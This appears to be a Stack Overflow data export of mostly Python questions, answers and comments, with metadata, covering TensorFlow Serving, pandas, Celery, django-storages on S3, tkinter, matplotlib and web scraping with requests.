has text: Hi @JonClements, tried using a different method for merging the csv files. Still facing the same issue. looks like the read_sql_query function converts the data in such(1.083016e+12) format.

http://stackoverflow.com/q/49596937
has title: Failed to convert object of type <class 'werkzeug.datastructures.File.Storage> to tensor
tagged with: machine-learning
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86250480
tagged with: werkzeug
has body: I am writing a client python file that uses flask framework and running this inside a docker machine. So this take an input file and produces output of it. But it throws error that it cant convert to tensor. tf.app.flags.DEFINE_string('server', 'localhost:9000', 'PredictionService host:port') FLAGS = tf.app.flags.FLAGS app = Flask(__name__) class mainSessRunning(): def __init__(self): host, port = FLAGS.server.split(':') channel = implementations.insecure_channel(host, int(port)) self.stub = prediction_service_pb2.beta_create_PredictionService_stub(channel) self.request = predict_pb2.PredictRequest() self.request.model_spec.name = 'modelX' self.request.model_spec.signature_name = 'prediction' def inference(self, val_x): data = val_x self.request.inputs['input'].CopyFrom(tf.contrib.util.make_tensor_proto(data)) result = self.stub.Predict(self.request, 5.0) return result run = mainSessRunning() # Define a route for the default URL, which loads the form @app.route('/pred', methods=['POST']) def pred(): request_data = request.files['file'] result = run.inference(request_data) rs = json_format.MessageToJson(result) return jsonify({'result':rs}) The error says: TypeError: Failed to convert object of type (class'werkzeug.datastructures.File.Storage') to tensor. Contents: (Filestorage: u'File.txt' ('text/plain')). Consider casting elements to a supported type This line produces the error: self.request.inputs['input'].CopyFrom(tf.contrib.util.make_tensor_proto(data))
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86281978
upvote count: 5
tagged with: tensorflow-serving
tagged with: python
score: 5
answer count: 0
has comment: http://stackoverflow.com/comment/86238985
downvote count: 0

http://stackoverflow.com/q/49464565
has comment: http://stackoverflow.com/comment/85932941
has body: How would I sort this list list1 = ['John, 35.60', 'Alf, 200.13', 'Greg, 62.76', 'Paul, 555', 'George, 123.6', 'Colin, 35.60', 'Phil, 23', 'Bret, 200.13'] Into this list list2 = ['Phil, 23', 'John, 35.60', 'Colin, 35.60', 'Greg, 62.76', 'George, 123.6', 'Alf, 200.13', 'Bret, 200.13', 'Paul, 555'] Basically, I have a list where each element is like [customerName, orderPrice]. I want to make a function where it takes can take ANY list like list1 and output a list (list2) with those same elements except it is ordered by orderPrice
type: UnansweredQuestion
tagged with: arrays
tagged with: python
tagged with: sorting
has comment: http://stackoverflow.com/comment/85932201
score: 0
tagged with: list
downvote count: 4
linked to: http://stackoverflow.com/q/49455460
answer count: 1
has answer: http://stackoverflow.com/a/49464594
has title: How do you sort a list with string elements by the numbers inside each element
duplicate of: http://stackoverflow.com/q/49455460
favorite count: 0
type: Question
upvote count: 4
tagged with: python-3.x

http://stackoverflow.com/comment/85900796
type: AnswerComment
comment on: http://stackoverflow.com/a/49444671
score: 0
type: Comment
has text: When i run shell script for file with 1000 of lines, i see that only 2 lines are executed and script hangs

http://stackoverflow.com/comment/85969484
comment on: http://stackoverflow.com/q/49482860
type: Comment
type: QuestionComment
has text: I have understood the mistake here. Thank you.
score: 0

http://stackoverflow.com/a/49512780
type: Answer
accepted answer of: http://stackoverflow.com/q/49512706
has comment: http://stackoverflow.com/comment/86035243
score: 1
answers question: http://stackoverflow.com/q/49512706
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86035300
has comment: http://stackoverflow.com/comment/86035734
has body: I think need: from collections import Counter c1, c2 = Counter(), Counter() for row in color_scores.itertuples(): for i in row[1].split(', '): c1[i] += row[2] c2[i] += 1 s = pd.Series(c1).div(pd.Series(c2)) print (s) blue 9.866667 green 13.600000 orange 6.200000 pink 8.266667 purple 6.200000 red 12.400000 yellow 11.100000 dtype: float64 color_avgs['new'] = color_avgs['colors'].map(s) print (color_avgs) colors new 0 blue 9.866667 1 red 12.400000 2 green 13.600000 3 purple 6.200000 4 orange 6.200000 5 pink 8.266667 6 yellow 11.100000 Explanation: Loop by itertuples and for each row add to 2 Counters splitted values of colors and count Create Series and divide for mean Last map new column Pandas only solution: s = (color_scores.set_index('score')['colors'] .str.split(', ', expand=True) .stack() .reset_index(name='a') .groupby('a')['score'].mean()) color_avgs['new'] = color_avgs['colors'].map(s) print (color_avgs) colors new 0 blue 9.866667 1 red 12.400000 2 green 13.600000 3 purple 6.200000 4 orange 6.200000 5 pink 8.266667 6 yellow 11.100000 Explanation: First split values to DataFrame Reshape by stack Aggregate mean per groups Last map new column

http://stackoverflow.com/a/49508952
type: Answer
accepted answer of: http://stackoverflow.com/q/49508862
upvote count: 2
answers question: http://stackoverflow.com/q/49508862
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86022197
downvote count: 1
has body: datetime only shows seconds in its output if seconds are not 0. You can confirm this by doing: x = datetime.datetime(2017, 1, 13, 23, 50) x.second # 0 x = x.replace(second=45) # datetime.datetime(2017, 1, 13, 23, 50, 45)
has comment: http://stackoverflow.com/comment/86022445
score: 1

http://stackoverflow.com/a/49499458
upvote count: 4
answers question: http://stackoverflow.com/q/49499352
has body: Define a function to handle splitting and recombination. You may use str.split, followed by some super simple string concatenation, respectively. def split_combine(v, letters=list('dms')): v = v.str.split(expand=True) return ( v[0] + letters[0] + v[1] + letters[1] + v[2] + letters[2] ) Now, call it with your appropriate parameters. df['DEC'] = split_combine(df.DEC, list('dms')) df['RA'] = split_combine(df.RA, list('hms')) df DEC RA 0 +26d01m09.559s 11h50m10.4747s 1 +26d01m10.770s 11h50m10.2641s 2 +26d01m11.980s 11h50m10.0534s 3 +26d01m13.191s 11h50m09.8428s
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49499352
downvote count: 0
has comment: http://stackoverflow.com/comment/86003049
type: Answer
score: 4

http://stackoverflow.com/comment/85889856
type: Comment
type: QuestionComment
score: 0
has text: Possible duplicate of [Python Script execute commands in Terminal](https://stackoverflow.com/questions/3730964/python-script-execute-commands-in-terminal)
comment on: http://stackoverflow.com/q/49444204

http://stackoverflow.com/a/54171104
has comment: http://stackoverflow.com/comment/95682440
downvote count: 1
has comment: http://stackoverflow.com/comment/95699837
type: Answer
answers question: http://stackoverflow.com/q/49572658
score: 2
upvote count: 3
has body: The accepted answer didn't work for me as it doesn't appear to be an option on my version of VSCode Version 1.30.2 (1.30.2): Unknown console type 'none'. The solution for me was to use the internalConsole option instead. I suppose it must be defaulting to the integratedTerminal option on my version. Here is an example: NOTE: this is an example from my nodejs project but the console portion is still relevant regardless of project type. I have included more to show some context as well as other features such as envFile usage. ... { "type": "node", "request": "launch", "name": "Launch Program", "envFile": "${workspaceRoot}/.env", "program": "${workspaceFolder}/src/index.js", "autoAttachChildProcesses": true, "console": "internalConsole" }, ...

http://stackoverflow.com/q/49528695
has body: So I'm currently learning the python requests module but I'm a bit confused and was wondering if someone could steer me in the right direction. I've seen some people post headers when they want to log into the website, but where do they get these headers from and when do you need them? I've also seen some people say you need an authentication token, but I've seen some other solutions not even use headers or an authentication token at all. This is supposedly the authentication token but I'm not sure where to go from here after I post my username and password. &lt;input type="hidden" name="lt" value="LT-970332-9KawhPFuLomjRV3UQOBWs7NMUQAQX7" /&gt;
tagged with: python
has answer: http://stackoverflow.com/a/49539434
score: 0
answer count: 1
tagged with: web-scraping
tagged with: python-requests
has title: Understanding the Python requests module
type: Question
tagged with: python-3.x
type: UnansweredQuestion

http://stackoverflow.com/a/49509370
type: Answer
answers question: http://stackoverflow.com/q/49507801
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: You create two temporary numpy arrays, they happen to be at the same address. Since no python references kept for them, they are garbage collected immediately, a1 and a2 also become dangling pointers. If references kept for them, their addresses can not be the same, eg: cdef int[:] a = np.arange(10) # A memoryview will keep the numpy array from GC. cdef int[:] b = np.arange(10) cdef int* a_ptr = &amp;a[0] cdef int* b_ptr = &amp;b[0] print(&lt;size_t&gt;a_ptr) print(&lt;size_t&gt;b_ptr) Grate care must be taken when using an object's underlying data. If used incorrectly, one often encounter a dangling pointer. eg: void cfunc(const char*) # Fortunately, this won't compile in cython. # Error: Storing unsafe C derivative of temporary Python reference cdef const char* = ("won't" + " compile").encode() cfunc(char) Right way: # make sure keep_me is alive before cfunc have finished with it. cdef bytes keep_me = ("right" + "way").encode() cfunc(temp) # Or for single use. cfunc(("right" + "way").encode()) Another example in c++ std::string's member c_str(): // The result of `+` will immediately destructed. cfunc got a dangling pointer. const char * s = (string("not") + string("good")).c_str(); cfunc(s); Right way: // keep `keep_me` for later use. string keep_me = string("right") + string("way"); cfunc(keep_me.c_str()); // Or, for single use. cfunc((string("right") + string("way")).c_str()) Reference: std::string::c_str() and temporaries
accepted answer of: http://stackoverflow.com/q/49507801
has comment: http://stackoverflow.com/comment/86045599

http://stackoverflow.com/comment/86163556
type: Comment
type: QuestionComment
has text: the `title()` module is specifically for the root window title. It is not something you can use as a label.
score: 0
comment on: http://stackoverflow.com/q/49577879

http://stackoverflow.com/comment/86072961
comment on: http://stackoverflow.com/a/49533384
type: AnswerComment
has text: Also (just for the sake of DRY), `connection.commit()` can be written only once (outside the `if-else`)
score: 1
type: Comment

http://stackoverflow.com/comment/86008423
score: 0
has text: I'd suggest googling for "XPath string contains".
comment on: http://stackoverflow.com/q/49500162
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49448841
has comment: http://stackoverflow.com/comment/85904182
has answer: http://stackoverflow.com/a/52195745
has comment: http://stackoverflow.com/comment/85923737
has body: I am using tinyDB to store some data with python, and I am trying to get the last row that I inserted to the db. so I am doing this: data = db.all() # get all data from db last_row = data[len(data) - 1] and this is how I get the last row, but it is not so efficient because I am getting all the db at the beginning. is there a better way doing so?
tagged with: tinydb
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has title: TinyDB and Python - get last inserted row
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85899661
tagged with: database
tagged with: python

http://stackoverflow.com/comment/86234060
score: 0
has text: Check [here](http://graphql.org/learn/introspection/). The client can get all the info that way. And most libraries provide a way to convert the introspection result into SDL for human readability.
type: QuestionComment
comment on: http://stackoverflow.com/q/49494400
type: Comment

http://stackoverflow.com/comment/86044824
type: QuestionComment
comment on: http://stackoverflow.com/q/49518513
score: 1
has text: `i.main()` produces the `area` string. It returns it, but also writes to a file.
type: Comment

http://stackoverflow.com/q/49532169
tagged with: python
has answer: http://stackoverflow.com/a/49532674
has body: I am currently facing subpar performance when executing the following usecase: I have two files - tasks.py # tasks.py from celery import Celery app = Celery('tasks', broker='pyamqp://guest@localhost//', backend='rpc://',worker_prefetch_multiplier=1) @app.task def task(array_of_elements): return [x ** 2 for x in array_of_elements] and run.py # run.py from celery import group from itertools import chain, repeat from tasks import task import time def grouper(n, iterable, padvalue=None): return zip(*[chain(iterable, repeat(padvalue, n-1))]*n) def fun1(x): return x ** 2 if __name__ == '__main__': start = time.time() items = [list(x) for x in grouper(10000, range(10000))] x = group([task.s(item) for item in items]) r = x.apply_async() d = r.get() end = time.time() print(f'&gt;celery: {end-start} seconds') start = time.time() res = [fun1(x) for x in range(10000)] end = time.time() print(f'&gt;normal: {end-start} seconds') When I am trying running celery: celery -A tasks worker --loglevel=info and trying to run: python run.py This is the output I get: &gt;celery: 0.19174742698669434 seconds &gt;normal: 0.004475116729736328 seconds I have no idea why the performance is worse in celery? I am trying to understand how can I achieve map-reduce paradigm using celery like split a huge array into smaller chunks, do some processing and bring results back Am I missing some critical configuration?
tagged with: rabbitmq
type: AnsweredQuestion
has title: Poor performance in simple tasks using celery
answer count: 1
downvote count: 0
favorite count: 0
tagged with: celery
type: Question
score: 5
upvote count: 5
accepted answer: http://stackoverflow.com/a/49532674

http://stackoverflow.com/q/49591740
tagged with: python-requests
linked to: http://stackoverflow.com/q/35665426
upvote count: 6
linked to: http://stackoverflow.com/q/37241491
linked to: http://stackoverflow.com/q/8623870
has title: How to web scrape in an .jsf site with cookies and javascript "javax.faces.ViewState" CDATA using python requests and bs4 (BeautifulSoup) modules?
tagged with: jsf
linked to: http://stackoverflow.com/q/12175763
duplicate of: http://stackoverflow.com/q/12175763
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/2784183
answer count: 2
type: UnansweredQuestion
tagged with: cdata
has body: I would like to automate the extraction of data from this site: http://www.snirh.gov.br/hidroweb/publico/medicoes_historicas_abas.jsf Explanation of the steps to be followed for extract the data that I want: Beginning in the url above click in "Séries Históricas". You should see a page with a form with some inputs. In my case I only need to input the station code in the "Código da Estação" input. Suppose that the station code is 938001, insert that and hit "Consultar". Now you should see a lot of checkboxes. Check the one below "Selecionar", this one will check all checkboxes. Supposing that I dont want all kinds of data, I want rain rate and flow rate, I check only the checkbox below "Chuva" and the other one below "Vazão". After that is necessary to choose the type of the file that are going to be download, chose the "Arquivo Texto (.TXT)", this one is the .txt format. After that is necessary to generate the file, to do that click in "Gerar Arquivo". After that is possible todownload the file, to do that just click "Baixar Arquivo". Note: the site now is in version v1.0.0.12, it may be different in the future. I have a list of station codes. Imagine how bad would be to do these operations more than 1000 times?! I want to automate this! Many people in Brazil have been trying to automate the extraction of data from this web site. Some that I found: Really old one: https://www.youtube.com/watch?v=IWCrC0MlasQ Others: https://pt.stackoverflow.com/questions/60124/gerar-e-baixar-links-programaticamente/86150#86150 https://pt.stackoverflow.com/questions/282111/r-download-de-dados-do-portal-hidroweb The earlier try that I found, but that does not work too because the site have changed: https://github.com/duartejr/pyHidroWeb So a lot people need this and none of the above solutions work more because of updates in the site. I do not want use selenium, it is slow compared with a solution that uses requests library, and it needs a interface. My attempt: #!/usr/bin/env python #…
downvote count: 0
has answer: http://stackoverflow.com/a/52958688
score: 6
has answer: http://stackoverflow.com/a/49592194
tagged with: web-scraping
tagged with: python

http://stackoverflow.com/q/49483156
linked to: http://stackoverflow.com/q/48313387
has comment: http://stackoverflow.com/comment/85972851
tagged with: python
has answer: http://stackoverflow.com/a/49483761
tagged with: data-science
tagged with: sklearn-pandas
upvote count: 2
linked to: http://stackoverflow.com/q/47547539
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85972204
has comment: http://stackoverflow.com/comment/85970305
tagged with: pandas
has body: I'm totally new to Data Science in general and was hoping someone could explain why this does not work: I'm using the Advertising dataset from the following url: "http://www-bcf.usc.edu/~gareth/ISL/Advertising.csv" which has 3 feature columns ("TV", "Radio", "Newspaper") and 1 label column ("sales"). My complete dataset is named data. Next, I try to use sklearn's StratifiedShuffleSplit function to divide the data into training and testing sets. from sklearn.model_selection import StratifiedShuffleSplit split = StratifiedShuffleSplit(n_splits=1, random_state=0) # can use test_size=0.8 for train_index, test_index in split.split(data.drop("sales", axis=1), data["sales"]): # Generate indices to split data into training and test set. strat_train_set = data.loc[train_index] strat_test_set = data.loc[test_index] I get this ValueError: The least populated class in y has only 1 member, which is too few. The minimum number of groups for any class cannot be less than 2. Using the same code on another dataset which has 14 feature columns and 1 label column separates the data appropriately. Why doesn't it work here? Thanks.
score: 1
has title: What does this error mean with StratifiedShuffleSplit?
answer count: 1
downvote count: 1
tagged with: scikit-learn
accepted answer: http://stackoverflow.com/a/49483761
favorite count: 0
type: Question

http://stackoverflow.com/q/49441243
tagged with: python
has body: I've got two variables: dim and terms. I'd like to use these variables to define an array. For example, If dim=2 and terms=4, I'd like m=MutableDenseNDimArray(zeros(terms**dim),(4,4)) If dim=3 and terms=4, I'd like m=MutableDenseNDimArray(zeros(terms**dim),(4,4,4)) If dim=3 and terms=3, I'd like m=MutableDenseNDimArray(zeros(terms**dim),(3,3,3)) I've learned that with numpy I could use np.zeros((terms,) * dim) but this formatting doesn't work for me with sympy. Can you help?
answer count: 1
score: 1
upvote count: 1
has title: How to create an array in sympy with dimension based on a variable?
favorite count: 0
type: Question
tagged with: sympy
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/49441846

http://stackoverflow.com/q/49573388
tagged with: unicode
type: Question
has answer: http://stackoverflow.com/a/49573930
tagged with: python
tagged with: string-concatenation
accepted answer: http://stackoverflow.com/a/49573930
type: AnsweredQuestion
has body: I have a unicode text which is broken into different segments. I want to concatenate them based on their lengths, but make sure no segment is repeated. Here is psuedo-cdoe: i=0 text = 'whole text' spaceString = ' ' avgLength = len(text)/len(total number of segments) newtext=[] previousLength = len(segments[i-1]) nextLength = len(segments[i+1]) for each segment [i]: if len(segments[i])&lt;avgLength: compare previousLength and nextLength and get the lower result Concatenate segment[i] to either segment[i+1] or segment[i-1] (and attach to newtext) depending on which is lower else if segment[i]&gt;=avgLength: Attach segment[i] to newtext and move to next segment elif . . . The aim is to join segments which are less than the average length. If any segment is smaller than the average length, compare previousLength and nextLength, and join segment i to the one which is less. (The first segment might be less or greater than the average). However, if any segment is more than the average length, just append that segment. newtext should be similar to text but should contain segments which are more or equal to the length of the average segment. Thanks
score: 0
has title: Concatenating unicode strings based on length
tagged with: concatenation
answer count: 1

http://stackoverflow.com/comment/85926528
score: 0
type: Comment
type: AnswerComment
has text: i understand. but i want [6] then 6-0 =6.
comment on: http://stackoverflow.com/a/49450177

http://stackoverflow.com/q/49518517
has title: Python method changing self value (dict-inherited class)
score: 0
has comment: http://stackoverflow.com/comment/86042795
has comment: http://stackoverflow.com/comment/86044630
has comment: http://stackoverflow.com/comment/86043284
answer count: 0
has comment: http://stackoverflow.com/comment/86042731
tagged with: methods
has comment: http://stackoverflow.com/comment/86042801
type: Question
has comment: http://stackoverflow.com/comment/86043129
linked to: http://stackoverflow.com/q/18600382
tagged with: oop
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86042797
linked to: http://stackoverflow.com/q/14671218
duplicate of: http://stackoverflow.com/q/18600382
has body: I have a certain custom class that looks like a dictionary, and I want a method to be able to modify the values of the dictionary, but somehow I seem to be able to do so only by key-by-key modification (rather than self=... assignment). Obviously I want something more complex that the following MWE, but it demonstrates my issue (I would expect both class methods below to be equivalent): class MyClass(dict): def addone_notworking(self): self = {key: (val+1) for key, val in self.items()} # print({key: (val+1) for key, val in self.items()}) would return what I expect def addone_working(self): for k in self: self[k] += 1 # self[k] = self[k] + 1 would work as well a = MyClass({'a':1, 'b':2}) print(a, '&lt;-- original') a.addone_notworking() print(a, "&lt;-- should have added 1, but it hasn't") a.addone_working() print(a, '&lt;-- works') Results: {'a': 1, 'b': 2} &lt;-- original {'a': 1, 'b': 2} &lt;-- should have added 1, but hasn't {'a': 2, 'b': 3} &lt;-- works What am I missing? I have found Python class methods changing self but I doubt it really applies ( bar = foo statements would work even if bar was a non-mutable type). (Python 3.5, if it matters)
tagged with: python
linked to: http://stackoverflow.com/q/1216356

http://stackoverflow.com/comment/86001379
has text: Yea the reset_index works, although I don't understand why that works only after the dropna statement, doing it before doesn't fix the mutlilevel problem. Anyways, Thanks.
type: Comment
comment on: http://stackoverflow.com/a/49498609
type: AnswerComment
score: 0

http://stackoverflow.com/q/49500637
has answer: http://stackoverflow.com/a/49501991
tagged with: python
has title: Aspect ratio (vs. size and position) of inset_axis of axes_divider host axes
has comment: http://stackoverflow.com/comment/86005495
has body: In matplotlib, I can create square inset_axes in rectangular host axes: import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable from mpl_toolkits.axes_grid1.inset_locator import inset_axes base_ax = plt.axes() loc="upper left" size = 20 bbox = base_ax.get_window_extent() ratio = bbox.width / bbox.height inset_right_upper = inset_axes( base_ax, width=str(size / ratio) + '%', height=str(size) + '%', loc=loc) When I add ordinary axes, I can then easily programatically create inset axes with e.g. square aspect ratios and specific locations: import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable from mpl_toolkits.axes_grid1.inset_locator import inset_axes base_ax = plt.subplot2grid((4, 4), (0, 0), rowspan=3, colspan=3) ax_right = plt.subplot2grid((4, 4), (0, 3), rowspan=3, colspan=1) ax_bottom = plt.subplot2grid((4, 4), (3, 0), colspan=3) loc="upper left" size = 20 bbox = ax_right.get_window_extent() ratio = bbox.width / bbox.height inset_right_upper = inset_axes( ax_right, width=str(size / ratio) + '%', height=str(size) + '%', loc=loc) bbox = ax_bottom.get_window_extent() ratio = bbox.width / bbox.height inset_bottom_upper = inset_axes( ax_bottom, width=str(size / ratio) + '%', height=str(size) + '%', loc=loc) Alternatively, I can adjoin axes to an anchor axis with the axis_divider pattern, and then add insets to the adjoined axes: import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable from mpl_toolkits.axes_grid1.inset_locator import inset_axes base_ax = plt.axes() divider = make_axes_locatable(base_ax) ax_right = divider.append_axes("right", size="20%", pad="1%") ax_bottom = divider.append_axes("bottom", size="20%", pad="1%") loc="upper left" size = 20 bbox = ax_right.get_window_extent() ratio = bbox.width / bbox.height inset_right_upper = inset_axes( ax_right, width=str(size / ratio) + '%', height=str(size) + '%', loc=loc) bbox = ax…
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/86006402
favorite count: 0
accepted answer: http://stackoverflow.com/a/49501991
type: Question
tagged with: matplotlib

http://stackoverflow.com/comment/86042632
comment on: http://stackoverflow.com/a/49518372
score: 0
type: Comment
type: AnswerComment
has text: No. Not if your datastructure is a normal Python `list`.

http://stackoverflow.com/q/49525187
linked to: http://stackoverflow.com/q/49525317
has body: I have the following python code which is supposed to find the word "ACT" in a file. Once it finds "ACT" it should write all the lines that follow onto the output file. My code writes everything from the input file into the output file. What am I doing wrong? found_ACT = False for line in inputFile: line.strip() if found_ACT: outputFile.write(line) else: if "ACT" in line: found_ACT = True
has comment: http://stackoverflow.com/comment/86056843
score: 0
answer count: 1
has title: Reading all subsequent lines after a certain line in file
has comment: http://stackoverflow.com/comment/86073155
type: Question
has comment: http://stackoverflow.com/comment/86059044
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86056246
tagged with: python
has answer: http://stackoverflow.com/a/49527892

http://stackoverflow.com/comment/85974011
has text: Please show the view.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49483264
type: QuestionComment

http://stackoverflow.com/q/49522014
upvote count: 2
has answer: http://stackoverflow.com/a/71210641
possible better answer: http://stackoverflow.com/a/57200300
downvote count: 0
tagged with: django
tagged with: amazon-web-services
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49523285
answer count: 3
has answer: http://stackoverflow.com/a/49523285
tagged with: amazon-s3
has body: I'm trying to add an ImageField to a model called LucyGuide which will save user-uploaded images to S3 using django-storages. Here is the (simplified) model: class LucyGuide(TimeStampedModel): headshot = models.ImageField(upload_to='uploads/', null=True) bio = models.TextField(blank=True) I've added the following to my settings.py: # Use Boto3 backend to interact with Amazon's S3 DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' # Amazon S3 credentials (for django-storages) AWS_ACCESS_KEY_ID = os.getenv('AWS_ACCESS_KEY_ID', default='') AWS_SECRET_ACCESS_KEY = os.getenv('AWS_SECRET_ACCESS_KEY', default='') AWS_STORAGE_BUCKET_NAME = os.getenv('AWS_STORAGE_BUCKET_NAME', default='') AWS_S3_REGION_NAME = os.getenv('AWS_S3_REGION_NAME') AWS_S3_OBJECT_PARAMETERS = { 'CacheControl': 'max-age=86400', } # Use v4 of the signing protocol (recommended for all new projects) AWS_S3_SIGNATURE_VERSION = 's3v4' where the actual keys are read from a .env file (using a mechanism similar to django-decouple). To try this out, I uploaded a random picture for a LucyGuide in Django's admin UI: In the shell, I'm able to access the url attribute of the guide's headshot field, which is indeed a link to an AWS bucket: In [6]: guide = LucyGuide.objects.filter(bio__startswith="Kristen").first() In [7]: guide Out[7]: <LucyGuide: Kristen Hoover> In [8]: guide.headshot Out[8]: <ImageFieldFile: uploads/320px-Waaah.jpg> In [9]: guide.headshot.url Out[9]: 'https://lucy-prod.s3.amazonaws.com/uploads/320px-Waaah.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIMC2A%2F20180327%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20180327T200248Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=ae75dbdd75d13020113c12ef2d655e3' (where I've deleted parts of the URL). The problem is that when I try to go to this URL in the browser, I get a "This XML file does not appear to have any style information associated with it" error: <Code>AuthorizationQueryParametersError Error parsing the…
tagged with: python
has title: ImageField with django-storages leads to: "Error parsing the X-Amz-Credential parameter; the region 'us-east-1' is wrong; expecting 'us-west-1'"
has answer: http://stackoverflow.com/a/57200300
type: Question
score: 2

http://stackoverflow.com/a/49589727
downvote count: 0
has body: Let's examine these three lines of code: mainframe.grid_remove() root.after(1000) mainframe.grid() The first line does indeed successfully remove the grid. However, until the event loop has a chance to update the display, it remains visible. The second line freezes the gui, including removing the ability to update the display. The third line adds the frame back. Since the GUI didn't have a chance to update the display between grid_remove() and grid(), there is no visible change. If you want the frame to be hidden for one second, change the code to this: mainframe.grid_remove() root.after(1000, mainframe.grid) The above will not freeze your GUI, and will cause mainframe.grid to be called one second in the future. To answer the last part of your question: if you hide the frame, everything inside the frame will also be hidden.
type: Answer
answers question: http://stackoverflow.com/q/49589548
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49589548
type: AcceptedAnswer

http://stackoverflow.com/comment/85970799
has text: @EvensF You're right, it was at first. I've made a mistake copying and pasting the code. I cannot have a O(n^2) as lists are going to be over the length of 100,000. I've edited the code, removed the second for loop as that one works when just given a predefined list of dictionaries. Issue is with scraping the dynamic data in the first loop.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49482927
score: 0

http://stackoverflow.com/comment/86053811
score: 0
has text: You should perhaps consider redesigning this. Maybe write a Lambda function that's triggered when a file is uploaded to the bucket. The Lambda function reads the file, counts the lines, and stores that count in DynamoDB, keyed by YYYYMMDD or similar.
type: Comment
comment on: http://stackoverflow.com/a/49516065
type: AnswerComment

http://stackoverflow.com/comment/86386149
type: Comment
has text: @Naveen sure. I will
comment on: http://stackoverflow.com/a/49671581
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86171568
has text: The dupe uses threads, but the issue is the same.
comment on: http://stackoverflow.com/q/49581726
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85934911
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49465702
has text: I tried y.values but got `ValueError: Length of values does not match length of index`. I also tried `print("YYY???:\n",y)` `final_df['outcome'] = y` and y prints out correctly, but final_df['outcome'] ] y still produces NaN values, even with `.update(y)`
type: Comment

http://stackoverflow.com/comment/86034974
type: QuestionComment
score: 0
has text: `scores.remove[minScore]` is the source of your problem. Using `[]` for indexing is equivalent to `scores.remove.__getitem__(minScore)` but `remove` is a function. Just use `()` to make it function call.
type: Comment
comment on: http://stackoverflow.com/q/49514982

http://stackoverflow.com/q/49563592
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49564816
tagged with: http://stackoverflow.com/tag/csv
tagged with: sqlite
answer count: 1
accepted answer: http://stackoverflow.com/a/49564816
has body: The code below works for a test program I am currently working on because I know how many columns are in the csv file and what the headers are. I am trying to figure out how to modify the code to take any csv file without knowing how many columns there are and still convert it to a sqlite database. I understand that pandas can do it very simply but I am trying to learn another route. Thank you. import sqlite3, csv con = sqlite3.connect("person.db") cur = con.cursor() cur.execute("""CREATE TABLE person (memberNum STR,lastName STR,firstName STR,streetAddress STR, city STR, state STR,zipCode STR,phone STR,favoriteStore STR,dateJoined STR, duesPaid STR, PRIMARY KEY(memberNum))""") with open('Members.csv','r') as person_table: dr = csv.DictReader(person_table, delimiter=',') # comma is default delimiter to_db = [(i['Member #'], i['Last Name'], i['First Name'], i['Street Address'], i['City'], i['State'], i['Zip Code'], i['Phone'], i['Favorite Store'], i['Date Joined'], i['Dues Paid']) for i in dr] cur.executemany("INSERT INTO person VALUES (?,?,?,?,?,?,?,?,?,?,?);", to_db) con.commit() #Select statment to query the db cursor = con.execute("Select * from person order by lastName") for row in cursor: print "ID = ", row[0] print "Last Name = ", row[1] print "First Name = ", row[2] print "Phone Number = ", row[7], "\n"
type: Question
has title: Convert CSV to SQLite when your don't know how many columns there are
tagged with: python
has comment: http://stackoverflow.com/comment/86135476

http://stackoverflow.com/comment/85992258
has text: @MattR Such as openCV
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49494160
type: QuestionComment

http://stackoverflow.com/comment/86049155
type: Comment
comment on: http://stackoverflow.com/a/49521364
type: AnswerComment
has text: I was not aware of the `bins` argument to `value_counts`!
score: 2

http://stackoverflow.com/q/49442702
favorite count: 0
accepted answer: http://stackoverflow.com/a/49588955
type: Question
has comment: http://stackoverflow.com/comment/86173710
has answer: http://stackoverflow.com/a/63534765
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85889977
tagged with: apache-beam
tagged with: python
upvote count: 4
tagged with: google-cloud-dataflow
score: 4
has answer: http://stackoverflow.com/a/49588955
answer count: 2
downvote count: 0
has title: Apache beam DataFlow runner throwing setup error
has comment: http://stackoverflow.com/comment/85926102
